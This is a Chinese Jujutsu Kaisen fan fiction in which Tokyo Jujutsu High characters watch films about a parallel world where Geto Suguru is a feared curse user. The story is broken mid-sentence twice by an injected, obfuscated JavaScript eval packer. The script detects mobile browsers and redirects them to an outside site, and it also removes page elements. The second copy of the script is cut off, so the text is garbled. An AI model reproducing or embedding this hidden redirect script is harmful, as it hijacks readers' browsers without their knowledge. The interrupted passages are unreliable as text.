《[五夏]命中劫》 1. 序 她从黑暗中费力地睁开眼睛,刺在视网膜上的光线模糊不清,黑影里幽蓝色的光芒若隐若现,莫名给人一种冰冷的无机质感。家入硝子觉得自己好像回到了高专的地下室里,昏暗寂静的墙壁,老旧失修的放映机。一切都在慢慢地恢复起来。 凝固的空气舒缓起来,停滞的时间流动起来,身体里的咒力重新运转起来。 但无论家入硝子如何使劲,她的身体连一根指头都无法动弹,只能感知到自己被紧缚在某个不知名的椅子上,她想出声,挣扎地想冲破此方的禁锢,却没有掀起一丝波澜。 “呼……呼……”喘气声在她的耳里无限扩大,家入硝子疯狂运转着体内的咒力,喉咙里终于挤出来了一丝声响。 【警告警告!】 鲜红色的一行字突然飘浮在空气中,显眼地占据了大片的视野,某种禁忌的气息从字眼里要溢出来,似乎在灼烧着这片狭窄的空间。 突如其来的战栗感深深地扼住了她的心脏,全身的血液在这一刻都仿佛被强制倒流,头脑里的神经猛烈地向家入硝子发出危险的指示。 【观影传送错误错误——】 无机质的机械声突然响起,扭曲得几乎要刺穿人的耳膜,原先的字迹已然消失不见,新的字眼依旧沾染着血色,却在空中猛烈地抽动起来,明明灭灭地扎着人瞳孔生疼。 【系统527正在受理中,请在座的各位稍等。】 幽蓝色的光芒覆盖住了原本的颜色,所有的一切在这一瞬间迅速平复,空间里的光线逐渐明亮起来。慢慢地,家入硝子发现可以操控自己的身体,而就在同一时间,周围炸开了锅。 “是敌袭!” “金枪鱼金枪鱼!!” “我的刀呢?!”混乱之中,他们发现周边的人都是自己所认识的熟人,且都是与东京咒术高专有关的人。刚入学没多久的一年级生虎杖悠仁,伏黑惠,钉崎野蔷薇,二年级生的禅院真希,胖达,狗卷棘,校长夜蛾正道,校医家入硝子,前辈七海建人。 他们发现束缚住他们自己的是看似平平无奇的座椅,只不过一年级生和二年级生都排在后一排,而剩下的三位却都被安置在前排。 “这是诅咒师的阴谋吗?”这话说出来连胖达自己都不信,试问哪个咒术师和诅咒师有这个能力。它的表情十分凝重,在场的人几乎都差不多。好吧,家入硝子尽力克制住想打哈欠的冲动。 面对这突如其来的危机,刚刚耗费了不少精神的她有些提不起警戒之心来,眼下浓重的青黑是遮不住的疲倦,白大褂上还沾染着某不知名咒术师的血液。 家入硝子抬眼看了一圈,挑了挑眉,要是那个幕后黑手干掉他们这里的一群人,包括身为反转术式拥有者的她自己,这可足以给咒术界一个严重的打击。 她刚这么感叹地想,视野里突然出现一个眼熟的白毛教师。家入硝子沉默了一瞬,错了,不是严重的打击,准确来说。 ——是毁灭性的打击。 五条悟的出现不只是在家入硝子的意料之外,其他人更是不敢想的。要知道,他可是当今最强咒术师。 现场再一次炸开了锅。 钉崎野蔷薇说道:“我是眼花了吗?” “不,你并没有。” “这绝对是假的吧!” “鲑鱼。” 来人的嘴角透着几分漫不经心,凌厉的脖颈线隐没在深色的制服之下,黑漆漆的眼罩遮住了他的眼睛,同时一个座椅突然冒头横截在家入硝子和夜蛾正道之间,这个座椅的主人是谁显而易见。五条悟的视线扫过这片空间的每一个角落,他才缓缓开口说道:“安啦安啦,我知道自己很受欢迎,大家见到我也不要太激动了呀。” 作为全场最有威信的夜蛾正道不禁皱了下眉,“五条,你发现了什么吗?” “什么都——没有发现哦,”这位最强咒术师抬手掀了掀自己的眼罩,可以称得上夸张地笑了一下,“好久没见过这么有意思的事情了。” 完全没有一丝自己身处危险之中的自觉啊,家入硝子不轻不重地咂了咂舌。果不其然,在他说完这句话后,夜蛾正道的青筋有点抽动,正想说些什么的时候。 【欢迎来到放映室527号,我是本次的辅助系统527。】 机械声伴随着字眼的悬空而响起,这种不太科学也不太咒术的技术完全就不可能是他们世界的产物。 【请五条悟先生入座,全员到位观影才可开始。】 “什么鬼?你究竟是谁?!凭什么听——”禅院真希话说到一半便戛然而止,整个空间里仿佛只有她一个人,她扭头往旁边一看,她的同伴显然想说些什么,张开口,却茫然地发现什么声音都发不出来。 似乎意识到了在场的人的疑惑,字幕又跳动了一下。 【观影规则: 1.该空间内无法动用武力,一切危险物品收缴并保存,待观影结束方可归还。 2.观影期间不可大声喧哗,不可在发言者未把话说完期间,强行发表自己的意见。 3.该空间内一切生物不会有生理上的饥饿感、困倦感,保证观影者能够正常进行观影。】 “废话好多。”五条悟简单地评价了一句,身体却很实诚地坐在了椅子上,就那样大大咧咧地跷起了二郎腿,根本不等其他人的劝阻。就在同一时刻,眼前近乎虚无般黑色的墙体突然变换成了一面玻璃,准确来说是镜子,照映出来的是同样的观影内部设施,但是一个人都还没有,只有两个挨在一起的空落落的座位。 “那么,你的目的?”他随手摘下黑色的眼罩,即使是六眼也看不出什么,完完全全地被扰乱了信息的捕获,只是那苍天之瞳仅是被触及就仿佛被窥探了灵魂,无处可逃。 【一切都是为了本次观影服务。】 “那么我再问一遍,特意把我们拉过来观影的目的?”最强咒术师的语气已然不耐烦起来了,稍微熟悉五条悟的人都知道这显然不太妙,结果那系统装死般销声匿迹。正在学生们不知所措的时候,那个镜子里好像动了,准确来说是隔壁那个空间有人来了。 同样的黑暗,同样的静寂,但却有一扇门从墙上出现,木门从外面被轻轻推动,隐约可以辨别出几分人影来。当他们看清楚来人是谁,在场所有人的视线全移向了另一个当事人——东京高专的校医家入硝子。 女医师顿时不困了。 “这……”虎杖悠仁转头看去又转头看回来,瞳孔微微放大,“两个家入小姐诶!” 确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299964|167130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实,只是粗略地从外形上来看,同样的长发,同样的泪痣,同样的一身白大褂。只不过那身白大褂上面沾染的血液要更多,也更粘稠,像是结痂的瘢痕,血腥气顺着呼吸延伸至肺腑,铁锈味充斥着人的大脑的每一个感官细胞。 而这位【家入硝子】眼下的青黑更加浓重,由内而外席卷的疲倦感似乎要将她生生地窒息,显然她的状态很糟糕。 空气仿佛再一次凝固了起来。 【系统527为你本次观影服务,欢迎家入硝子小姐的到来。】 沙哑的声音慢了几秒才从这位医师口里传出来,她的语气像是很久没有开过口般的生疏僵硬,“你的目的。” 这次时间过了将近一分钟,系统才给出了一模一样的答案。 【一切都是为了本次观影服务。】 【家入硝子】却没有再多的寻根问底之心了,她只是疲倦地坐在椅子上,仿佛找了个地方休息一般,并且对隔壁观影者的存在一无所知。 “她看不见我们吗?”钉崎野蔷薇下意识地压低了声音,说不出来心里是什么复杂的感觉。“类似于单面镜的存在呢。”五条悟托腮地思索着,余光瞥到自己唯一的同期,故意地拉长了声线,“硝子一点都不好奇另一个自己吗?” 家入硝子倒真有点好奇,“平行世界或者未来都有可能吧。”但后者的可能性不太大,因为女医师从样貌上来看,她们之间的年龄应该没有差到哪里去。但现在这个状况太奇怪了,就算下一秒再来个五条悟她都不会觉得有什么。她刚这么想着,结果就真出现了一个【五条悟】。 家入硝子差点心脏骤停。 真的,一个五条悟就够了,两个五条悟可是世界不可承受的重量。关键是,那个【五条悟】明显看起来非常不对劲。 那扇门被蛮力直接撞开,进来的人身着教师制服却满身血污,粘稠的血液顺着对方白色的发丝缓缓滴落,同样的苍天之瞳浸没了还未消散的寒冷,残留的杀意浮动在充斥着暴乱的冰川之下。 来自最强咒术师的威压席卷了整个空间,即便是隔壁的他们也仿佛能感受到恐惧感如附骨之疽攀缘而上。而【家入硝子】直面这种压力显然不好受,但是她在来人出现的第一时间便猛地站了起来,身形摇摇欲坠却又仿佛在坚持着什么。 半晌,她才艰难地开口,“真逊啊……五条。” 白发的最强咒术师哑着嗓子想说些什么,却又控制不住自己疯狂外溢的咒力。 【警告警告!!该空间内不能动用武力!】 那些溢出来的咒力像是被橡皮擦擦去,不留一丝痕迹,而那人也有意收敛起自身狂暴的咒力,他尽力使自己平息下来,唤了一声,“硝子。” 【家入硝子】似乎是想笑,但那对于现在的她很困难,“是我,我在这里。” 【请五条悟先生入座,观影即将开始。】 那扇门逐渐消失,取而代之的是还未亮起的银幕。 这里只有【家入硝子】和【五条悟】,昏暗寂静的墙壁,老旧失修的放映机。女医师心里突然升起一种恍如隔世的感觉,这里无疑是一个适合揭开陈年旧事的好地方。一个人,一段早已死去的过去,它们在当下将化身成如影相随般的鬼魂,让活者不得安宁。 2. 极恶诅咒师 【极恶诅咒师】 一个名头,那属于一个早已死去的人。 “够了。” 从虎杖悠仁的角度来看,只能看见白发咒术师的侧脸沾着不知道谁的血,看上去近乎冷硬到沉默。而他突然开口,沙哑的声音却像是有骚动的骨刺扼住了他的喉咙。【五条悟】抬起眼来,血色溅染着他原本雪白的眼睫,克制不住的杀意再次如凛冬刺骨的寒风般袭来,将人的大脑感官全部扭曲地吞噬。 他们这才意识到,在这之前最强咒术师的一言不发是在压抑着自己的暴虐。而银幕上的那几个大字沾着的血色愈演愈烈,尖锐到毫不留情地扎破人的血肉,搅得嘴里都似乎泛着血腥气。 刺眼至极。 【观影一旦开始,不可中途结束。】 女医师无言地沉默着,随手翻了下白大褂的兜里,里面除了零碎的医疗用品,还有几根被她随手塞的烟。只不过,又忘记带打火机了。她的指尖按捺不住地摩挲着卷烟纸,只能聊以慰藉地抚平心里的烦躁感。他们两个都再清楚不过这几个字指的是谁了。 而如今这个放映室的局面不明,他们姑且先留在这,更何况还要比那外头清净得多。 倒是虎杖悠仁那边的一众摸不着头脑,少年疑惑地挠了挠头,“极恶诅咒师是谁啊?”夜蛾正道皱起眉摇了摇头,“咒术界没有这号人。” 光是听着,这个【极恶诅咒师】也不是什么好名号,倒配那些十恶不赦罪孽深重的人。 “诅咒师吗?倒是有趣。”反观他们这边的五条悟,嘴角的笑容透着与一般无二的随意,姿态轻佻地托着腮,像是看到一个从未见过的玩具,颇有几分兴致。 简直是与那个【五条悟】大相径庭。 而更让人摸不着头脑的是那个最强咒术师的态度,像是被外人侵占了圈属自己领地的野兽般展露出危险的气息。“所以观影还不开始吗?”五条悟倒是不在意,毕竟平行世界的不同多的是。 他们又不是同一个人。 【东京的雪下得太大了,飘飘扬扬地落在覆盖着薄冰的人行道上,夜晚的霓虹灯闪烁下,光线变得耀眼炫目,反射出晶莹剔透的亮光,似乎一切都安静极了。 十字路口边是未消融的积雪,踩上去只有沉闷的下陷声,而刺骨的寒风猛烈地刮过,带来阵阵雪花夹杂着寒意迎面而来,顺着咽喉至气管无一不是冰冷的。 雪花落在黑发青年披散至肩头的发丝,只是停留了几秒,便融化成水渍消逝了,而呼吸出来的白气像雾一般模糊了他的面容,只有深紫色的眼眸映入视野。】 最强咒术师向来不会认错自己的挚友,仅仅只是一个模糊不清的轮廓,就像是一把打开潘多拉魔盒的钥匙。那些被他埋葬在坟墓深处、那些被他刻意不愿去回想的记忆,统统像烧不尽的野草般突然肆意狂长,像是要在【五条悟】的脑海里与他纠缠不休,直至死亡才会停止。 “这就是极恶诅咒师吗?”年轻的学生还没有完全学会不要以貌取人,只是单纯地没有从那人身上感受到恶意,这与他们心里妖魔化的大坏人形象大相径庭。 而五条悟则是看出了点端倪,看似温和的皮囊下并不尽然,他坐直了身子,微微眯了下眼,不由轻笑出声,“有点意思。” 家入硝子瞥了眼五条悟,没有说话,能被最强咒术师觉得有意思可不是一件好事。 【下一刻,信号灯变换成象征禁止的红灯,在视网膜上红得刺眼,人流逐渐变得密集起来,路人擦过他黑色常服的衣角,他微不可察地轻皱眉头,很细微的动作,却被影像捕捉得清清楚楚。】 看起来这位被观影者不太喜欢他人的触碰,这个时候家入硝子和其他人的普遍思路差不多,是有点洁癖吗。放映仍在缓慢地进行,随着镜头的拉近,他们看着这人不紧不慢地穿过人流,停在了老旧的巷子深处。 【那人鸦黑的长睫打下一片阴影,拐角的黑暗笼罩了他整个人,几乎与夜晚融为一体,有什么更黑、更暗的东西在地下蠢蠢欲动。皎洁的月光洒下余晖,角落的蜘蛛在慢慢地攀爬吐丝,为它的猎物编织一张庞大而扭曲的陷阱。 透过天光的边界,可以窥见黑发青年深紫色的瞳孔,幽暗而沉寂。】 他们明显地感知到有什么在突然地发生变化,准确来说,应该是不再压抑的浓重黑暗席卷了开来。 【“还不出来吗?”暗哑的声线下是掩盖不住的冷戾和危险,在这看似空荡荡的巷子里突兀得令人头皮发麻。在天光落不尽的地方,在纸醉金迷灯红酒绿看不见的地方,血腥与暴力在这里展现得淋漓尽致。 他只是站在这里,便代表着绝对实力的权威。 恐怖的怪物在阴影里悄无声息地张开獠牙,咒灵庞大的身躯紧紧抓住着弱小的人类,痛苦的哀嚎还未来得及发出便被堵死在喉咙里,破碎的残肢狠狠地摔落在地,狰狞的獠牙下缓缓滴落着血液。 主宰这一切的人比了个停下的手势,危险的特级咒灵瞬间收敛了满身戾气,将獠牙收敛回去,如同宠物一般温顺地盘旋在黑发青年的身侧,而他的脚下也是唯一的干净之地。 凛冽的寒风吹散他黑色的发梢,掠过这人不染一丝灰尘的衣领,他的嘴角含着恰到好处的笑意,对眼前此景毫无动容。 而他也正是造就这一切的行暴者。】 残忍、暴戾这两个词推翻了学生们之前的种种可笑看法,饶是家入硝子这种见惯了血腥场面的人也不禁皱紧了眉头。他们想起了那个名头,这样的人从里到外无不符合极恶诅咒师这个称号。 “他为什么要这样做?如此轻易地践踏他人的生命,这算得了什么。”虎杖悠仁如今已经完全对这人改观了,他质问出声。在场的人显然给不出答案。其他同样正义感强的学生也一个个都脸色不好,直接目睹行暴过程无疑是在放大他们的愤怒。 “这个术式……”夜蛾正道在脑海里翻了下自己的记忆,这个可以操控咒灵的术式他好像在某个古籍上见过。而还没等他想出来,旁边的五条悟就给出了答案,“是咒灵操术,上次出现还是在千年以前。” 这足够让他们确认了一点,眼前这个极恶诅咒师,便是千年一遇的咒灵操使,但很显然,他们的世界中并没有他的存在。 无论他人反应如何,影片依旧在有条不紊地前进着。 【喘气声在格外安静的巷子里回荡着,唯一的幸存者捂住了自己被血液浸透的伤口,咒术师艰难地挤出声音,“咒术界是不会放过你的!夏油杰你等着!!” 极恶诅咒师轻笑了出声,眼里是明晃晃的恶意和轻蔑,“就凭你们这种垃圾吗?” “虽然我一向对同胞格外留情,但是烂橘子养的走狗我可不会放过。”】 “烂橘子是?” “高层哦。”白发咒术师好心开口回答了学生的疑惑,同时他也轻笑出声,莫名地给人一种错觉,在这一刻这位最强咒术师和那位极恶诅咒师在某一方面上确有几分相似。 “这个说法,让我开始喜欢他了。”和自己一样对咒术界高层的称呼,五条悟对这人的兴致越来越浓厚了,就像是两个同样极度傲慢的家伙相逢,不算太碍眼却也很少见的存在。 夏油杰。 他不由地在心里默念了一遍这个名字。 【“回去告诉你的主子,我的人头可远远不值这点命。”他漫不经心的话语之下透出的几分杀意不是假的,像是在说再有下次,就把你连同你的主子全杀了,一个不留的那种,眼不见心不烦。 伴随着危险恐怖的咒灵低吼了一声,狰狞暴起的眼珠里是明明白白的威胁,不知道是哪个倒霉人的血沫还残留在它的獠牙上,咒术师不由地打了个寒颤,说不出一句反驳的话来。 站在丑陋的怪物身侧的黑发青年微微侧过脸,在皎洁的月光照耀下弯起了眉眼。 “那么,今日份的噩梦结束了。”】 这个影片已经到了结束的尾端,最后一幕停在了极恶诅咒师露出的侧脸上,然后黑暗缓缓地重新覆盖在银幕上。 在这个覆盖的过程中,家入硝子忍不住向另一边投去视线,她心里第一时间就升起了一个疑惑。为什么隔壁的最强咒术师没有对这位极恶诅咒师动手?按理来说,无论是御三家还是高层都不会容纳他的存在,这种情况下,最好的选择便是让【五条悟】杀死他。但是,至少在这个影片里极恶诅咒师还能活蹦乱跳,还在随心所欲地夺取他人的性命。 只是家入硝子这有意投去的视线,便让她看见了一幕不太敢置信的场景。 从她这个角度看,白发咒术师的视线停在了银幕上还未完全消失的黑发青年的侧脸上,苍天之瞳里倒映的只有眼前这个人的模样,好似是要把这个人的模样刻进心底。 看错了吧,她的话语卡在喉咙里不上不下。 但另一个她自己就不一样了。 【家入硝子】低垂下眼来,扯了扯嘴角,“真是做足了反派的风范。” 可无论怎样,我们都无法发自内心地谴责他。 不知道为什么隔壁放映室的气氛一下子又沉了起来,但这并不关五条悟什么事情,他撑着下巴看了看身为同位体的那两位,把他们的反应清清楚楚地收至眼底。 “我们就待在这什么都不做吗?”七海建人皱紧了眉头,他并不喜欢这个古怪的地方,直觉告诉他这只是暴风雨来临前的平静, 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或许他在做梦,或许他仍然还在狱门疆。这种想法避无可避地出现在【五条悟】的脑海中,不能使用六眼的世界糟糕透了。他觉得自己不至于分辨不出真假,这个活着的、笑着的夏油杰,即便那是不达眼底的笑意。他就像是无数次午夜梦回中虚影一般的存在,但对于五条悟来说很难不怀疑起眼前的一切,毕竟他总能让自己在他身上摔个大跟头,即便是最强的自己。“我说,通过它。”难以置信的是,【五条悟】会主动开口询问一个问题,其实连他自己都不知道是疯了还是怎样,有一股躁动放肆地燃烧在他的心底,就像是一个久远的诅咒扑上来般纠缠不清。 白发咒术师指了指银幕,抬眼间隐约窥见几分压抑不住的疯狂,“能让我知道一个答案吗?” 答案。在座的无论是年轻的学生,还是年长的前辈都不知道【五条悟】在问什么,包括五条悟自己。 有什么是最强咒术师不知道的呢,有什么是最强咒术师看不清的呢。这个问题就像是一堵坚硬的、沉默的、不可摧毁的高墙,在这一刻把这两个世界毫不讲理地隔开。 【过往的一切都会被揭开。】 这行字眼跳动了下便隐没在了黑暗之中,但每个人用眼睛都看得清清楚楚。 女医师克制不住地颤了颤手指,指间夹着的烟如断弦般掉落在地,但她显然没有再多的心思去捡起这根烟,她用自己的手掩盖起失态的模样。在这一刻,【家入硝子】掉落的好像不是烟,而是在很久以前的一个夏日便丢掉的勇气。 一个探寻答案的勇气。 所有知情者都应该知道,很多事情在发生后就已经没有了意义,而去翻那些陈芝麻烂谷子的背后只会让人痛苦,叠加的两倍痛苦。 “不——”【家入硝子】想说些无意义的发言,但是在出声的那一刻,坐在旁边的白发咒术师便转过来看向她。 用一种近乎沉默的眼神。 这对于【家入硝子】来说何等的眼熟,因为十年前的一个夏日,那时还是咒术师的友人也曾用这个眼神投向过她。 对此,女医师只能妥协地说道,“那就这样吧。” 看到这里的虎杖悠仁不得不凑到钉崎野蔷薇的旁边,秉持同性更了解同性的想法,他小声地问道:“钉崎,你知道他们在打什么哑谜吗?” 钉崎野蔷薇犹豫了几秒,也还是壮着胆子悄咪咪地说,“我看像是只有他们三个人知道的爱恨情仇。” 虽然声音足够小,但是在场的都并非常人,听得一清二楚,学生们像是打开了新思路,诡异地一同沉默了下来。 但他们好奇的目光在家入硝子和五条悟之间徘徊来徘徊去,而前者没有最强咒术师那么厚的脸皮,说真的,家入硝子在他们这个年纪也喜欢看些俗套的三流故事。 她能从这些单纯的学生眼里看出他们脑补了些什么为情所伤、为情所困的戏码,前提是其中有一个主角是叫五条悟的名字,家入硝子不由地感受到一阵恶寒。 就连曾经教导她的老师,看过来的目光都夹杂着几分痛惜之情,家入硝子先不提那些明显不知情的学生,夜蛾正道应该是极为知晓五条悟那个烂脾气的,搁这摆什么师生情深呢。 家入硝子反问了句,“哈你们觉得这可能吗?”然而面对那些学生一脸装作不相信的笑意,明显他们更多的只是想开玩笑的意味。她感觉到有点憋屈。五条悟故意评价道,“那人长得还不错,但还是比我差了点。”对这位看热闹不嫌事大的同期,她回了个恶狠狠的白眼。 不等他们再多说些什么,观影就开始了下一轮。 3. 盘星教之徒 【盘星教之徒】 【镜头变得摇摇晃晃起来,属于老旧的灰白色镜头闪过几段,那上面映出来的面孔有的充满着狂热的眼神,像是在对唯一的信仰倾洒着灵魂,有的却是麻木和疲惫,眼底是无动于衷的事不关己感,像是这个社会底层飘荡的幽灵。 唯一相同的一点,他们投向的视线在同一个地方——盘星教。表面上看是一家私人的宗教组织,主要服务范围是超度恶业,招徕财运,助佑事业,好吧,简单一点讲就是拿人钱财替人消灾,但关键是这个“灾”,是和咒术界搭上关系的东西,是所有咒术师的老朋友了,咒灵。】 “这是邪教吗?”虎杖悠仁惊讶地问道,在看到银幕上那些人诡异的神情时,一种毛骨悚然的感觉爬上了他的神经,而周围其他的学生脸色也不太好看。 夜蛾正道的眉头紧锁着,“在我们世界里,盘星教这个组织基本已经覆灭了。”说这话的同时,校长的目光忍不住往五条悟身上瞥了一眼,要知道,这个任务和最强咒术师可是有点关系的,那是他唯一失败的任务。不仅是因为任务目标死了,而且还差点被一个雇佣来的术师杀手给搞死,只不过之后他绝地反杀,还顺手捣毁了一个邪教组织。 而五条悟暴力的做法在当时受到了高层那边极大的批评和指责,说他目无章法、乖张暴戾等等一系列骂名,但是突破后的五条悟脾性也越来越管不住,天上天下、唯我独尊是最好的形容词,所以他直接打上门去把口中的“烂橘子”暴揍了一顿。 没有想到的是,在银幕里的这个世界,盘星教不仅存活,而且更像是诅咒师的大型盘据点,坐拥普世界的大笔财富与权力。 【来自2008年xx月xx日盘星教的一段记录。】 如果说刚刚的片段里闪过的场景和二零一几年的模样差不多,现在就是把时间倒退了好几年前,而这个时候的盘星教便可窥见几分后来的样子。 【“邪教?”亚裔男子嗤笑出声,但面对新来诅咒师的询问他没有否认,“你要这么说倒也没错。” 他轻飘飘的回答着根本不惧世俗的准绳,毕竟诅咒师这个身份从一开始就是阴沟里的行驶证,咒骂、血腥、暴力在这个圈子中肆意滋长,在这里,只有绝对的实力才能杀出重围。 但是自从盘星教换主之后,诅咒师的规则便也随之改变,只要是合得来的“同类”,不管自身多么弱小,盘星教都会为你留个遮风挡雨的位置。】 “看起来工作环境不错。”五条悟兴致勃勃地评价了一句,周围的同事基本都是与自己一样拥有咒力的同类,不必活在非咒术师异类的眼光中,但最大的坏处就是。 七海建人沉着声音指出,“但这会加大咒术师和非咒术师的间隙。”作为在离开咒术界后回到普通企业上班的他比一些人更了解这点,在这位暂且还不知名的盘星教教主的刻意分割下,甚至会引起矛盾或者争端也不一定。 当然,这一切都是七海建人往坏的那面想。而事情也不一定都会往最坏的那一面发展。 【新来的诅咒师对盘星教还不太熟悉,而给他介绍的这个人就是孔时雨,他零零散散地说了一些注意事项之后,新人神情不自然地扭捏着,似乎想开口问些什么。 孔时雨划了下打火机,叼着烟含糊地说,“有什么想问的就问吧。” 得到首肯的新人神色顿时激动了起来,那里面夹杂着几分敬佩和畏惧,声音都不自觉地降低下来,“那位大人真的是……叛逃吗?”】 胖达咕哝了句,“在这玩什么You Know Who呢?” 但是这极大地引起了在场所有人的在意,毕竟“叛逃”可是个贬义词,甚至背负着忘恩负义、臭名昭著种种骂名,而且根据表情分析,这个叛逃的人在咒术界的名气还很大。 【暗沉沉的乌云压在盘星教的顶端,就如这个机构真实的性质一般不祥,孔时雨收敛了几分笑意,向来处事圆滑的目光中透出几分锐利,随意打量了下这位畏畏缩缩的新人。 “这还能有假?咒术总监部那边都下了通缉令了,怎么反倒是你们一个个都不信似的。”孔时雨显然面对过这个问题很多次,语气都有些不耐起来。 听到这话的新人,语气反而更加古怪了,声音小到好像是在念叨着某个不能诉诸于口的秘密,“这不是——不敢相信吗。” 是啊,谁敢相信,一只手都数得过来的特级咒术师之一,他会叛逃呢。】 几乎是在话音刚落的那一刻,在场所有人的视线都聚集在了某个人身上,而白发的咒术师对此只是挑了下眉,“你们不会以为是我吧。” 钉崎野蔷薇率先开口,“特级咒术师。” 禅院真希接着指出了人称,“他。” 这两个词语的限制简直完全符合五条悟,而且在他们的眼里,叛逃这件事也不是这个最强做不出来的事。 反驳他们的不是五条悟而是家入硝子,她给了个眼神示意,“你们看隔壁那位,他教师制服穿得好好的。” 比起他们这边时不时要讨论几句,隔壁那边安静得过分,从第二个影片开始到现在,那两个人都还没有开过口,视线只放在了银幕上,简直就是认真观影的好代表。 而【五条悟】即使可以称得上是满身血污,但还是能看得清原本的深色制服,可以说和他们这边嬉皮笑脸的五条悟就只有衣服和长相差不多了。 那白发咒术师一贯随性的笑容不见踪影,只是安静而沉默地看着银幕。 在场的人也都基本可以确定了叛逃的不是五条悟,他们只是一时被这个爆炸消息惊昏了头,那么这里面曾经身为特级咒术师的人会是谁呢。 【孔时雨叹着气摇了摇头,没有再多解释什么,只是对这位新进来的诅咒师开口说道,“他会庇护你的。” 为了大义,他在心底说。】 影片到这里还并没有结束,但是所谓的“大义”这两个字眼让在场的成年人从中品味出了点不太好的意味,他们不由地想起了开头里闪过的那些近乎狂热的面孔,那属于非咒术师。 年轻的学生们一无所知地低声讨论起这指的是什么,他们想得还是比较粗浅,争论来争论去无非逃不过都是打着幌子来哄骗人的路子,这所谓大义的目的便是为了金钱、权力、名声种种这些世俗的东西。 但七海建人很难不怀疑起,这些非咒术师在盘星教这个宛如蛛丝缠绕的陷阱里所扮演的角色——充满信仰的愚昧者。那么这个神秘的盘星教教主呢,他的用意究竟是什么,所谓的大义里诅咒师与普通人在其中扮演着什么角色。 夜蛾正道皱紧了眉头,“我们知道的还是太少了。”倒是五条悟打了个哈欠,轻飘飘地放出一个惊天炸弹,“有没有一种可能,这个盘星教教主是夏油杰呢?” “哈?”学生们面面相觑,但仔细想想这个可能确实还挺大的。根据第一轮影片中他没有完全展现出的实力,就能让年轻一辈的学生们望尘莫及,还不谈极恶诅咒师真正掌控的全部咒灵。 而这第二轮影片透露出的一些事情倒也能和他口中说的一些东西所表露出的相吻合,就差一个是与否的确认了。 【雨滴开始缓慢地降落,打湿了孔时雨的黑西装,他却只是站在原地。新人的背影在视野里逐渐消失,但是那副不敢置信的神情依旧在他脑海里晃荡着,显得无知而又天真。 他应该感到不屑的,无论是像新人这样的诅咒师,还是那些怀揣着拯救他人这种愚蠢想法的咒术师,他们都还没看穿这个早已烂透的咒术界。】 “这绝对是在不屑吧。”钉崎野蔷薇臭着张脸质疑道,“咒术师怎么了,得罪你这个诅咒师了?” 这简直就是把她的同伴包括自己所付出的努力全部给抹消掉,还公然打上一个愚蠢的标签。但从决定踏进高专的门槛那一刻,钉崎野蔷薇就知道自己真正想做的是什么,而她周围那些虽然有点白痴的同伴也一样。 虎杖悠仁倒是颇为友善地说道,“个人的经历导致我们每一个人的看法不一样,但是站在我的立场上我并不认同他说的话。”说这后半句话时,他的神色严肃了起来。一旁沉默寡言的伏黑惠难得点头赞同了他的话。 家入硝子没有开口,就像是银幕上那个男人所想的,正值大好年华的学生无知而又天真,她这年长的一辈往往是经历更多的,那个时候咒术界的确烂透了,但是该说多亏了有近乎独裁到暴君的最强吗。时间总是能改变一些东西的,现在的他们生活在更宽松、更自由的时代,而那个曾经近乎僵死的过往已经被远远地冲刷到历史长河后面,似乎一切都在往好的方面逐渐发展。 【即便是在阴沟里摸爬打滚够久了的孔时雨,他见过很多被逼到这边走投无路的咒术师,见过很多只是为了世俗的物质残忍而又冷血的诅咒师,但其实他自己也很难相信这个意外又突然的叛逃,也许他应该感到喜悦的,因为这个大义里显然是有一份他的位置。 只是偶尔,孔时雨却能从中感受到某种更长远更宏大的悲哀,仿佛是来自命运无声的嘲讽与玩弄。 他的大义就如同永恒之枪昆古尼尔,必将走向终局。】 “这个大义究竟指的是什么?” 在场所有人几乎同时都冒出了这个疑问,陌生的凝重感与未知的不安感压在他们心头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“越看越像传销组织,我早就知道他一向很擅长骗人了。”这个【五条悟】的评价更加犀利,而就像是一种不必多说的默契,或许可以称作同期之间的熟悉,原本这两人间那种隔了面镜子都能令隔壁的人感到窒息的沉默,随着这句话的落下消失了。 他们维持着诡异的平衡和安静看完了这轮观影,又在这个影片加载导致的空旷期看似和谐地展开话题,很难想象,这种成年人“体贴”式的相处模式居然会出现在【五条悟】和【家入硝子】之间。 我感觉我可以原地离开这个世界了,算是另一个当事人的家入硝子忍不住反胃地想到。 而同样意识到这点的五条悟神色也变得古怪起来,这越来越奇怪了,他基本可以确定,这一个自己应该也拥有着这种过分强大的实力,并仍旧该是嚣张肆意、不被束缚的存在,偏偏眼前的这位率先开口,足够体贴地引出了话题,流露出几分薄弱的人情味。 “当时很多人都以为你会叛逃。”女医师突然打开了个缺口,将那混杂着些许复杂的情绪掩盖起来。这句话连隔壁世界的人都没听出什么不对,因为他们对自己世界里的五条悟也有过这种不太适宜的想法。 倒是【五条悟】转过头来将视线放在了【家入硝子】身上,无声的对峙隐没在那双眨了下的苍天之瞳里,“也包括硝子你吗?” 旁观者看不出这场只有两个人对话之下的暗流涌动,仿佛他们只是在谈及一些陈芝麻烂谷子的事,女医师很确切地给出了一个答案,她轻笑着回答,“当然。” “所以我能问问为什么吗?”【家入硝子】就像是没话找话似的加了这句,却又让他不得不按照这个话题模板继续接下去。 白发咒术师理了理沾了血污的袖口,鼻间的铁锈味好像越来越浓重。一般来说,他会嬉皮笑脸地给出个玩笑般的解释,只要把这篇随意翻过去就可以了,而他的女同期显然也不再会追究。 所以他也笑了起来,语气说得轻松而自在。 “因为正论。” 同样的苍天之瞳里难得出现了茫然这种情绪,不止五条悟不明白自己为什么会给出这个答案,他的女同期、老师、后辈以及学生们也不敢相信这是【五条悟】会说的话。 “五条老师刚刚说了什么?”甚至有学生都已经怀疑是自己的耳朵出问题了。 